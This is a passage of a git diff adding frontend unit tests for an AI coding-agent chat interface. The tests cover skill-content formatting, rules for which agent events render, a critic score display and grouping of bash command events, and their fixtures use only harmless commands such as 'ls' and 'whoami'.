+  getSkillReadyContent,
+  getSkillReadyItems,
+} from "#/components/conversation-events/chat/event-content-helpers/get-skill-ready-content";
+import type { TextContent } from "#/types/agent-server/core/base/common";
+
+const makeTextContent = (text: string): TextContent[] => [
+  { type: "text", text },
+];
+
+const wrapExtraInfo = (content: string): string =>
+  `<EXTRA_INFO>${content}</EXTRA_INFO>`;
+
+describe("getSkillReadyItems", () => {
+  it("pairs skills with their EXTRA_INFO blocks by index", () => {
+    const skills = ["docker", "gitlab"];
+    const extended = makeTextContent(
+      `${wrapExtraInfo("Docker guide")}${wrapExtraInfo("GitLab guide")}`,
+    );
+
+    const items = getSkillReadyItems(skills, extended);
+
+    expect(items).toEqual([
+      { name: "docker", content: "Docker guide" },
+      { name: "gitlab", content: "GitLab guide" },
+    ]);
+  });
+
+  it("returns empty content for skills without matching EXTRA_INFO", () => {
+    const skills = ["docker", "gitlab"];
+    const extended = makeTextContent(wrapExtraInfo("Docker guide only"));
+
+    const items = getSkillReadyItems(skills, extended);
+
+    expect(items).toEqual([
+      { name: "docker", content: "Docker guide only" },
+      { name: "gitlab", content: "" },
+    ]);
+  });
+
+  it("returns unnamed items when no skills but EXTRA_INFO blocks exist", () => {
+    const extended = makeTextContent(
+      `${wrapExtraInfo("Block A")}${wrapExtraInfo("Block B")}`,
+    );
+
+    const items = getSkillReadyItems([], extended);
+
+    expect(items).toEqual([
+      { name: "Extended Content 1", content: "Block A" },
+      { name: "Extended Content 2", content: "Block B" },
+    ]);
+  });
+
+  it("returns empty array when no skills and no extended content", () => {
+    expect(getSkillReadyItems([], [])).toEqual([]);
+  });
+
+  it("skips empty EXTRA_INFO blocks for unnamed items", () => {
+    const extended = makeTextContent(
+      `${wrapExtraInfo("Content")}${wrapExtraInfo("   ")}`,
+    );
+
+    const items = getSkillReadyItems([], extended);
+
+    expect(items).toEqual([{ name: "Extended Content 1", content: "Content" }]);
+  });
+
+  it("trims content from EXTRA_INFO blocks", () => {
+    const skills = ["docker"];
+    const extended = makeTextContent(wrapExtraInfo("  trimmed content  "));
+
+    const items = getSkillReadyItems(skills, extended);
+
+    expect(items[0].content).toBe("trimmed content");
+  });
+});
+
+describe("skill-ready markdown formatting", () => {
+  it("pairs skills with trimmed EXTRA_INFO blocks using exact markdown spacing", () => {
+    const skills = ["docker", "gitlab"];
+    const extended: TextContent[] = [
+      {
+        type: "text",
+        text: "prefix <extra_info>  Docker guide",
+      },
+      {
+        type: "text",
+        text: "\nwith two lines  </extra_info> ignored ",
+      },
+      {
+        type: "text",
+        text: "<EXTRA_INFO> GitLab guide </EXTRA_INFO> suffix",
+      },
+    ];
+
+    expect(getSkillReadyContent(skills, extended)).toBe(
+      [
+        "",
+        "",
+        "**Triggered Skill Knowledge:**",
+        "",
+        "- **docker**",
+        "",
+        "Docker guide\nwith two lines",
+        "",
+        "- **gitlab**",
+        "",
+        "GitLab guide",
+      ].join("\n"),
+    );
+  });
+
+  it("renders a skill without extra spacing when no matching block exists", () => {
+    const extended = makeTextContent(wrapExtraInfo("Docker guide"));
+
+    expect(getSkillReadyContent(["docker", "gitlab"], extended)).toBe(
+      [
+        "",
+        "",
+        "**Triggered Skill Knowledge:**",
+        "",
+        "- **docker**",
+        "",
+        "Docker guide",
+        "",
+        "- **gitlab**",
+      ].join("\n"),
+    );
+  });
+
+  it("ignores unpaired EXTRA_INFO blocks when skills are present", () => {
+    const extended = makeTextContent(
+      `${wrapExtraInfo("Docker guide")}${wrapExtraInfo("Unused guide")}`,
+    );
+
+    expect(getSkillReadyContent(["docker"], extended)).toBe(
+      "\n\n**Triggered Skill Knowledge:**\n\n- **docker**\n\nDocker guide",
+    );
+  });
+
+  it("formats extracted blocks as numbered-free extended content without skills", () => {
+    const extended = makeTextContent(
+      `${wrapExtraInfo(" First block ")}${wrapExtraInfo("Second block")}`,
+    );
+
+    expect(getSkillReadyContent([], extended)).toBe(
+      "\n\n**Extended Content:**\n\nFirst block\n\nSecond block",
+    );
+  });
+
+  it("returns empty content when no complete non-empty EXTRA_INFO block exists", () => {
+    const extended = makeTextContent(
+      `plain text ${wrapExtraInfo("   ")} <EXTRA_INFO>unclosed`,
+    );
+
+    expect(getSkillReadyContent([], extended)).toBe("");
+  });
+
+  it("ignores non-text runtime entries while joining surrounding text", () => {
+    const extended = [
+      { type: "text", text: "<EXTRA_INFO>joined" },
+      {
+        type: "image",
+        image_urls: ["data:image/png;base64,ignored"],
+        text: "<EXTRA_INFO>poisoned image text</EXTRA_INFO>",
+      },
+      { type: "text", text: " block</EXTRA_INFO>" },
+    ] as unknown as TextContent[];
+
+    expect(getSkillReadyContent([], extended)).toBe(
+      "\n\n**Extended Content:**\n\njoined block",
+    );
+  });
+
+  it("falls back safely when legacy runtime data omits both arrays", () => {
+    const missingSkills = undefined as unknown as string[];
+    const missingContent = undefined as unknown as TextContent[];
+
+    expect(getSkillReadyContent(missingSkills, missingContent)).toBe("");
+    expect(getSkillReadyItems(missingSkills, missingContent)).toEqual([]);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9920ec6f3bf24d163ac1975db3065077aa4ed898
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts
@@ -0,0 +1,291 @@
+import { describe, expect, it } from "vitest";
+import { shouldRenderEvent } from "#/components/conversation-events/chat/event-content-helpers/should-render-event";
+import { CHILD_CONVERSATION_RESULT_PREFIX } from "#/constants/child-conversation";
+import {
+  createPlanningFileEditorActionEvent,
+  createOtherActionEvent,
+  createPlanningObservationEvent,
+  createUserMessageEvent,
+} from "test-utils";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+import {
+  ActionEvent,
+  ObservationEvent,
+  OpenHandsEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+import { SwitchLLMAction } from "#/types/agent-server/core/base/action";
+import { SwitchLLMObservation } from "#/types/agent-server/core/base/observation";
+
+const makeACPEvent = (
+  overrides: Partial<ACPToolCallEvent> = {},
+): ACPToolCallEvent => ({
+  id: "acp-1",
+  kind: "ACPToolCallEvent",
+  timestamp: "2024-01-01T00:00:00Z",
+  source: "agent",
+  tool_call_id: "tc-1",
+  title: "Run command",
+  status: "completed",
+  tool_kind: "execute",
+  raw_input: { command: "ls" },
+  raw_output: "file.txt",
+  content: null,
+  is_error: false,
+  ...overrides,
+});
+
+describe("shouldRenderEvent - PlanningFileEditorAction", () => {
+  it("should return false for PlanningFileEditorAction", () => {
+    const event = createPlanningFileEditorActionEvent("action-1");
+
+    expect(shouldRenderEvent(event)).toBe(false);
+  });
+
+  it("should return true for other action types", () => {
+    const event = createOtherActionEvent("action-1");
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("should return true for PlanningFileEditorObservation", () => {
+    const event = createPlanningObservationEvent("obs-1");
+
+    // Observations should still render (they're handled separately in event-message)
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("should return true for user message events", () => {
+    const event = createUserMessageEvent("msg-1");
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+});
+
+describe("shouldRenderEvent - ACPToolCallEvent", () => {
+  it("renders the early in_progress 'started' card", () => {
+    // The SDK now persists exactly one ``started`` (in_progress) event and
+    // one terminal event per ``tool_call_id`` — the action->observation pair.
+    // The started event renders the card as "running"; ``handleEventForUI``
+    // then replaces it in place when the terminal event arrives. The old
+    // half-formed flashing came from the now-removed per-progress fan-out.
+    const event = makeACPEvent({ status: "in_progress", raw_input: {} });
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("renders pending 'started' cards", () => {
+    const event = makeACPEvent({ status: "pending" });
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("renders completed events", () => {
+    const event = makeACPEvent({ status: "completed" });
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("renders failed events", () => {
+    const event = makeACPEvent({ status: "failed", is_error: true });
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+
+  it("renders events with null status as a running card", () => {
+    // A ``null`` status (legacy builds before the field was required) renders
+    // as "running" via the absent check mark rather than being hidden — better
+    // a card than a silently dropped tool call.
+    const event = makeACPEvent({ status: null });
+
+    expect(shouldRenderEvent(event)).toBe(true);
+  });
+});
+
+describe("shouldRenderEvent - StreamingDeltaEvent", () => {
+  const makeStreamingDelta = (
+    overrides: Partial<StreamingDeltaEvent> = {},
+  ): StreamingDeltaEvent => ({
+    id: "delta-1",
+    kind: "StreamingDeltaEvent",
+    timestamp: "2024-01-01T00:00:00Z",
+    source: "agent",
+    content: "I'll start working on that.",
+    reasoning_content: null,
+    ...overrides,
+  });
+
+  it("renders text deltas", () => {
+    expect(shouldRenderEvent(makeStreamingDelta())).toBe(true);
+  });
+
+  it("renders reasoning-only deltas", () => {
+    expect(
+      shouldRenderEvent(
+        makeStreamingDelta({
+          content: null,
+          reasoning_content: "thinking",
+        }),
+      ),
+    ).toBe(true);
+  });
+
+  it("hides empty deltas", () => {
+    expect(
+      shouldRenderEvent(
+        makeStreamingDelta({
+          content: null,
+          reasoning_content: null,
+        }),
+      ),
+    ).toBe(false);
+  });
+});
+
+describe("shouldRenderEvent - SwitchLLM", () => {
+  const switchAction: ActionEvent<SwitchLLMAction> = {
+    id: "switch-action",
+    timestamp: "2024-01-01T00:00:00Z",
+    source: "agent",
+    thought: [],
+    thinking_blocks: [],
+    action: {
+      kind: "SwitchLLMAction",
+      profile_name: "haiku",
+      reason: "Use a cheaper model.",
+    },
+    tool_name: "switch_llm",
+    tool_call_id: "tool-switch",
+    tool_call: {
+      id: "tool-switch",
+      type: "function",
+      function: {
+        name: "switch_llm",
+        arguments: JSON.stringify({ profile_name: "haiku" }),
+      },
+    },
+    llm_response_id: "response-switch",
+    security_risk: SecurityRisk.LOW,
+  };
+
+  const makeSwitchObservation = (
+    overrides: Partial<SwitchLLMObservation> = {},
+  ): ObservationEvent<SwitchLLMObservation> => ({
+    id: "switch-observation",
+    timestamp: "2024-01-01T00:00:01Z",
+    source: "environment",
+    tool_name: "switch_llm",
+    tool_call_id: "tool-switch",
+    action_id: "switch-action",
+    observation: {
+      kind: "SwitchLLMObservation",
+      content: [{ type: "text", text: "Switched." }],
+      is_error: false,
+      profile_name: "haiku",
+      reason: "Use a cheaper model.",
+      active_model: "anthropic/claude-haiku-4-5",
+      ...overrides,
+    },
+  });
+
+  it("hides switch actions and successful observations for the shared model UI", () => {
+    expect(shouldRenderEvent(switchAction)).toBe(false);
+    expect(shouldRenderEvent(makeSwitchObservation())).toBe(false);
+  });
+
+  it("keeps failed switch observations visible", () => {
+    expect(
+      shouldRenderEvent(
+        makeSwitchObservation({
+          is_error: true,
+          content: [{ type: "text", text: "Profile was not found." }],
+        }),
+      ),
+    ).toBe(true);
+  });
+});
+
+describe("shouldRenderEvent - /goal status updates", () => {
+  const makeGoalEvent = (active: boolean): OpenHandsEvent =>
+    ({
+      id: "goal-1",
+      kind: "ConversationStateUpdateEvent",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      key: "goal",
+      value: {
+        active,
+        status: active ? "running" : "complete",
+        iteration: 1,
+        max_iterations: 10,
+        objective: "make pytest pass",
+        verdict: null,
+      },
+    }) as unknown as OpenHandsEvent;
+
+  const makeStatsEvent = (): OpenHandsEvent =>
+    ({
+      id: "stats-1",
+      kind: "ConversationStateUpdateEvent",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "environment",
+      key: "stats",
+      value: {},
+    }) as unknown as OpenHandsEvent;
+
+  it("renders the terminal goal status inline", () => {
+    expect(shouldRenderEvent(makeGoalEvent(false))).toBe(true);
+  });
+
+  it("hides the in-progress goal status (shown by the live banner)", () => {
+    expect(shouldRenderEvent(makeGoalEvent(true))).toBe(false);
+  });
+
+  it("hides non-goal state updates", () => {
+    expect(shouldRenderEvent(makeStatsEvent())).toBe(false);
+  });
+});
+
+describe("shouldRenderEvent - /goal loop re-prompts", () => {
+  const makeUserMessage = (text: string): OpenHandsEvent =>
+    ({
+      id: "m1",
+      kind: "MessageEvent",
+      source: "user",
+      timestamp: "2024-01-01T00:00:00Z",
+      llm_message: { role: "user", content: [{ type: "text", text }] },
+    }) as unknown as OpenHandsEvent;
+
+  it("hides the per-round follow-up re-prompt", () => {
+    const followup = makeUserMessage(
+      "The goal is NOT yet complete (audit iteration 1).\nOutstanding: needs tests",
+    );
+    expect(shouldRenderEvent(followup)).toBe(false);
+  });
+
+  it("hides the resume re-prompt", () => {
+    expect(
+      shouldRenderEvent(
+        makeUserMessage("Resuming a goal that was paused or interrupted. ..."),
+      ),
+    ).toBe(false);
+  });
+
+  it("still renders the objective and ordinary user messages", () => {
+    expect(
+      shouldRenderEvent(makeUserMessage("create roman.py with to_roman(n)")),
+    ).toBe(true);
+    expect(shouldRenderEvent(makeUserMessage("hello"))).toBe(true);
+  });
+
+  it("hides the child-conversation launch result the frontend posts back", () => {
+    expect(
+      shouldRenderEvent(
+        makeUserMessage(
+          `${CHILD_CONVERSATION_RESULT_PREFIX}{"status":"launched","target":"local"}`,
+        ),
+      ),
+    ).toBe(false);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx b/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..094adb0d65d0d5353296c798c254556f09363fc0
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx
@@ -0,0 +1,173 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: { APP_MODE: "local" } }),
+}));
+vi.mock("#/hooks/use-agent-state");
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+const makeEvent = (
+  overrides: Partial<ACPToolCallEvent> = {},
+): ACPToolCallEvent => ({
+  kind: "ACPToolCallEvent",
+  id: "evt-1",
+  timestamp: "2026-04-16T19:32:29.828069",
+  source: "agent",
+  tool_call_id: "toolu_123",
+  title: "gh pr diff 490",
+  tool_kind: "execute",
+  status: "completed",
+  raw_input: { command: "gh pr diff 490" },
+  raw_output: "diff output here",
+  content: null,
+  is_error: false,
+  ...overrides,
+});
+
+describe("EventMessage - ACPToolCallEvent dispatch", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.INIT,
+      executionStatus: null,
+    });
+  });
+
+  it("renders an ACP card through the same GenericEventMessage wrapper as observations", () => {
+    renderWithProviders(
+      <EventMessage
+        event={makeEvent()}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The test-utils i18n instance doesn't load the real translation bundle,
+    // so createTitleFromKey falls back to the key literal. Assert on the
+    // key — the integration case (rendered string) is covered by a Storybook
+    // story + manual verification listed in the PR description.
+    expect(screen.getByText("ACTION_MESSAGE$ACP_RUN")).toBeInTheDocument();
+  });
+
+  it("shows the command event's recorded timestamp on hover", async () => {
+    const user = userEvent.setup();
+    const event = makeEvent();
+
+    renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    const title = screen.getByTestId("generic-event-message-title");
+    await user.hover(title);
+
+    const tooltip = await screen.findByRole("tooltip");
+    expect(tooltip.querySelector("time")).toHaveAttribute(
+      "datetime",
+      event.timestamp,
+    );
+  });
+
+  it("shows the timestamp when the existing expand control receives focus", async () => {
+    const user = userEvent.setup();
+    const event = makeEvent();
+
+    renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    await user.tab();
+    expect(screen.getByRole("button", { name: "BUTTON$EXPAND" })).toHaveFocus();
+    expect(
+      (await screen.findByRole("tooltip")).querySelector("time"),
+    ).toHaveAttribute("datetime", event.timestamp);
+  });
+
+  it("does not show a success icon for completed tool calls", () => {
+    renderWithProviders(
+      <EventMessage
+        event={makeEvent()}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+  });
+
+  it("omits the status icon while a call is in progress", () => {
+    renderWithProviders(
+      <EventMessage
+        event={makeEvent({ status: "in_progress", raw_output: null })}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // getACPToolCallResult returns undefined for in_progress, so
+    // SuccessIndicator renders no icon.
+    expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+  });
+
+  it("expands details on click and shows the Command: + Output: blocks", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <EventMessage
+        event={makeEvent()}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+    // Markdown renderer wraps code blocks but the plain text survives.
+    expect(screen.getByText(/gh pr diff 490/)).toBeInTheDocument();
+    expect(screen.getByText(/diff output here/)).toBeInTheDocument();
+  });
+
+  it("dismisses the timestamp when details are expanded with a pointer", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <EventMessage
+        event={makeEvent()}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    const title = screen.getByTestId("generic-event-message-title");
+    await user.hover(title);
+    expect(await screen.findByRole("tooltip")).toBeInTheDocument();
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+    expect(screen.queryByRole("tooltip")).not.toBeInTheDocument();
+
+    await user.hover(screen.getByText(/diff output here/));
+    expect(screen.queryByRole("tooltip")).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5fcc2f68129f566f8fb01403b531e414d90a9e96
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx
@@ -0,0 +1,279 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, it, expect, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { CriticResultDisplay } from "#/components/conversation-events/chat/event-message-components/critic-result-display";
+import type { CriticResult } from "#/types/agent-server/core/base/critic";
+
+const mockUseSettings = vi.hoisted(() =>
+  vi.fn(() => ({
+    data: {
+      agent_settings: {
+        verification: {
+          enable_iterative_refinement: true,
+        },
+      },
+    },
+  })),
+);
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => mockUseSettings(),
+}));
+
+const makeCriticResult = (
+  overrides: Partial<CriticResult> = {},
+): CriticResult => ({
+  score: 0.85,
+  message: null,
+  metadata: null,
+  ...overrides,
+});
+
+beforeEach(() => {
+  mockUseSettings.mockReturnValue({
+    data: {
+      agent_settings: {
+        verification: {
+          enable_iterative_refinement: true,
+        },
+      },
+    },
+  });
+});
+
+describe("CriticResultDisplay", () => {
+  it("renders score as percentage", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0.72 })} />,
+    );
+
+    expect(screen.getByText("(72.0%)")).toBeInTheDocument();
+  });
+
+  it("adds an accessible score label to the star rating", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0.72 })} />,
+    );
+
+    expect(screen.getByLabelText("Score: 72.0%")).toHaveTextContent("★★★★☆");
+  });
+
+  it("renders non-finite scores as 0%", () => {
+    renderWithProviders(
+      <CriticResultDisplay
+        criticResult={makeCriticResult({ score: Number.NaN })}
+      />,
+    );
+
+    expect(screen.getByLabelText("Score: 0.0%")).toHaveTextContent("☆☆☆☆☆");
+    expect(screen.getByText("(0.0%)")).toBeInTheDocument();
+  });
+
+  it("renders 5 stars for a perfect score", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 1.0 })} />,
+    );
+
+    expect(screen.getByText("★★★★★")).toBeInTheDocument();
+  });
+
+  it("renders 0 stars for a zero score", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0 })} />,
+    );
+
+    expect(screen.getByText("☆☆☆☆☆")).toBeInTheDocument();
+  });
+
+  it("renders green color for high score", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0.8 })} />,
+    );
+
+    const stars = screen.getByText("★★★★☆");
+    expect(stars.className).toContain("text-green-400");
+  });
+
+  it("renders yellow color for medium score", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0.5 })} />,
+    );
+
+    const stars = screen.getByText("★★★☆☆");
+    expect(stars.className).toContain("text-yellow-400");
+  });
+
+  it("renders red color for low score", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult({ score: 0.2 })} />,
+    );
+
+    const stars = screen.getByText("★☆☆☆☆");
+    expect(stars.className).toContain("text-red-400");
+  });
+
+  it("renders label text", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult()} />,
+    );
+
+    expect(
+      screen.getByText("CRITIC$SUCCESS_LIKELIHOOD_LABEL"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not render expand button without features", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult()} />,
+    );
+
+    expect(
+      screen.queryByLabelText("BUTTON$EXPAND_DETAILS"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("prompts users to enable iterative refinement when it is disabled", () => {
+    mockUseSettings.mockReturnValue({
+      data: {
+        agent_settings: {
+          verification: {
+            enable_iterative_refinement: false,
+          },
+        },
+      },
+    });
+
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult()} />,
+    );
+
+    expect(
+      screen.getByTestId("critic-iterative-refinement-hint"),
+    ).toHaveTextContent("CRITIC$ITERATIVE_REFINEMENT_HINT");
+  });
+
+  it("does not prompt users when iterative refinement is enabled", () => {
+    renderWithProviders(
+      <CriticResultDisplay criticResult={makeCriticResult()} />,
+    );
+
+    expect(
+      screen.queryByTestId("critic-iterative-refinement-hint"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders expand button when features are present", () => {
+    const result = makeCriticResult({
+      metadata: {
+        categorized_features: {
+          agent_behavioral_issues: [
+            {
+              name: "insufficient_testing",
+              display_name: "Insufficient Testing",
+              probability: 0.75,
+            },
+          ],
+        },
+      },
+    });
+
+    renderWithProviders(<CriticResultDisplay criticResult={result} />);
+
+    expect(screen.getByLabelText("BUTTON$EXPAND_DETAILS")).toBeInTheDocument();
+  });
+
+  it("expands features on click", async () => {
+    const user = userEvent.setup();
+    const result = makeCriticResult({
+      metadata: {
+        categorized_features: {
+          agent_behavioral_issues: [
+            {
+              name: "insufficient_testing",
+              display_name: "Insufficient Testing",
+              probability: 0.75,
+            },
+          ],
+        },
+      },
+    });
+
+    renderWithProviders(<CriticResultDisplay criticResult={result} />);
+
+    expect(screen.queryByText("Insufficient Testing")).not.toBeInTheDocument();
+
+    await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+
+    expect(screen.getByText("Insufficient Testing")).toBeInTheDocument();
+    expect(screen.getByText("(75%)")).toBeInTheDocument();
+    expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument();
+  });
+
+  it("collapses features on second click", async () => {
+    const user = userEvent.setup();
+    const result = makeCriticResult({
+      metadata: {
+        categorized_features: {
+          agent_behavioral_issues: [
+            {
+              name: "loop_behavior",
+              display_name: "Loop Behavior",
+              probability: 0.6,
+            },
+          ],
+        },
+      },
+    });
+
+    renderWithProviders(<CriticResultDisplay criticResult={result} />);
+
+    await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+    expect(screen.getByText("Loop Behavior")).toBeInTheDocument();
+
+    await user.click(screen.getByLabelText("BUTTON$COLLAPSE_DETAILS"));
+    expect(screen.queryByText("Loop Behavior")).not.toBeInTheDocument();
+  });
+
+  it("renders multiple categories of features", async () => {
+    const user = userEvent.setup();
+    const result = makeCriticResult({
+      metadata: {
+        categorized_features: {
+          agent_behavioral_issues: [
+            {
+              name: "incomplete_changes",
+              display_name: "Incomplete Changes",
+              probability: 0.8,
+            },
+          ],
+          infrastructure_issues: [
+            {
+              name: "build_failure",
+              display_name: "Build Failure",
+              probability: 0.4,
+            },
+          ],
+          user_followup_patterns: [
+            {
+              name: "will_ask_refinement",
+              display_name: "Will Ask Refinement",
+              probability: 0.55,
+            },
+          ],
+        },
+      },
+    });
+
+    renderWithProviders(<CriticResultDisplay criticResult={result} />);
+
+    await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+
+    expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument();
+    expect(screen.getByText("Incomplete Changes")).toBeInTheDocument();
+    expect(screen.getByText("CRITIC$INFRASTRUCTURE")).toBeInTheDocument();
+    expect(screen.getByText("Build Failure")).toBeInTheDocument();
+    expect(screen.getByText("CRITIC$LIKELY_FOLLOWUP")).toBeInTheDocument();
+    expect(screen.getByText("Will Ask Refinement")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..264d5cb20c45bc52f0f0ed6d39393d9196e73adf
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx
@@ -0,0 +1,281 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EventGroup } from "#/components/conversation-events/chat/event-message-components/event-group";
+import {
+  ActionEvent,
+  ObservationEvent,
+  SecurityRisk,
+} from "#/types/agent-server/core";
+import {
+  ExecuteBashAction,
+  FileEditorAction,
+} from "#/types/agent-server/core/base/action";
+import { ExecuteBashObservation } from "#/types/agent-server/core/base/observation";
+
+const makeBashAction = (
+  id: string,
+  command: string,
+): ActionEvent<ExecuteBashAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [],
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: `call_${id}`,
+  tool_call: {
+    id: `call_${id}`,
+    type: "function",
+    function: {
+      name: "execute_bash",
+      arguments: JSON.stringify({ command }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeBashObservation = (
+  id: string,
+  actionId: string,
+  command: string,
+): ObservationEvent<ExecuteBashObservation> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "execute_bash",
+  tool_call_id: `call_${actionId}`,
+  action_id: actionId,
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [{ type: "text", text: "ok" }],
+    command,
+    exit_code: 0,
+    error: false,
+    timeout: false,
+    metadata: {} as never,
+  },
+});
+
+describe("EventGroup", () => {
+  it("returns null for an empty events array", () => {
+    const { container } = renderWithProviders(
+      <EventGroup events={[]}>
+        <div>child</div>
+      </EventGroup>,
+    );
+
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders a 'completed' summary when all events are observations", () => {
+    const events = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
+      makeBashObservation("o3", "a3", "whoami"),
+    ];
+
+    renderWithProviders(
+      <EventGroup events={events}>
+        <div data-testid="child">child content</div>
+      </EventGroup>,
+    );
+
+    expect(
+      screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+    ).toBeInTheDocument();
+    // Children should not be visible in the collapsed state.
+    expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+  });
+
+  it("renders a progress summary and the running action title while in flight", () => {
+    const events = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
+      // Last action has NOT been replaced by an observation -> still running.
+      makeBashAction("a3", "echo hello"),
+    ];
+
+    renderWithProviders(
+      <EventGroup events={events}>
+        <div>child</div>
+      </EventGroup>,
+    );
+
+    expect(
+      screen.getByText("EVENT_GROUP$ACTIONS_PROGRESS"),
+    ).toBeInTheDocument();
+    // The running action's title is rendered next to the summary. Translations
+    // aren't loaded in tests, so we just verify the action's translation key
+    // shows up (the localized version would interpolate the command).
+    expect(screen.getByText(/ACTION_MESSAGE\$RUN/)).toBeInTheDocument();
+  });
+
+  it("keeps showing the latest completed action's title while the group is still the live tail", () => {
+    // All observations -> nothing in flight, but the group has not been
+    // "moved past" yet, so we expect the latest observation's title to keep
+    // showing as the prominent summary alongside the completed count.
+    const events = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
